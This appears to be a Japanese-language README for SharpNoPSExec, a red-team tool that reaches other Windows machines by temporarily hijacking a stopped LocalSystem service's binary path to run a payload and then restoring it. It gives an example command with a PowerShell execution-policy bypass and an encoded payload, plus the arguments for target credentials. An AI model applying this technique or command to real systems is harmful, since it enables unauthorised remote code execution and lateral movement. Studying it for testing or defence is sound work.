
横方向移動のためのファイルレスコマンド実行を取得する。
SharpNoPSExecは、すべてのサービスをクエリし、開始タイプが「無効」または「手動」、現在の状態が「停止」、かつLocalSystem権限を持つサービスをランダムに選択し、再利用します。
サービスを選択すると、その現在の状態を保存し、バイナリパスを任意のペイロードに置き換えて実行します。
5秒待機した後、サービスの構成を復元します。これでシェルが取得できている可能性が高いです。
このツールは、水平移動に関する#OSEPのPSExecの説明に触発されています。演習を読んでいるうちに、ディスクに触れず、新しいサービスを作成せずに水平移動を実行できることに気付きました。
███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ███████╗███████╗██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔══██╗██╔══██╗██╔══██╗████╗ ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║ ██║██████╔╝███████╗█████╗ ╚███╔╝ █████╗ ██║
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║ ██║██╔═══╝ ╚════██║██╔══╝ ██╔██╗ ██╔══╝ ██║
███████║██║ ██║██║ ██║██║ ██║██║ ██║ ╚████║╚██████╔╝██║ ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
Version: 0.0.3
Author: Julio Ureña (PlainText)
Twitter: @juliourena
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target= - 攻撃対象のIPアドレスまたはマシン名。
--payload= - 対象マシンで実行するペイロード。
Optional Arguments:
--username= - リモートコンピュータへの認証に使用するユーザー名。
--password= - ユーザーのパスワード。
--domain= - ドメイン名。設定しない場合はドット(.)が使用されます。
--service= - ペイロードを実行するために変更するサービス。ペイロード完了後、サービスは復元されます。
注: サービスが指定されていない場合、プログラムは実行するランダムなサービスを探します。
注: 選択されたサービスがシステムアカウント以外を使用している場合、そのサービスは無視されます。
--help - ヘルプ情報を表示します。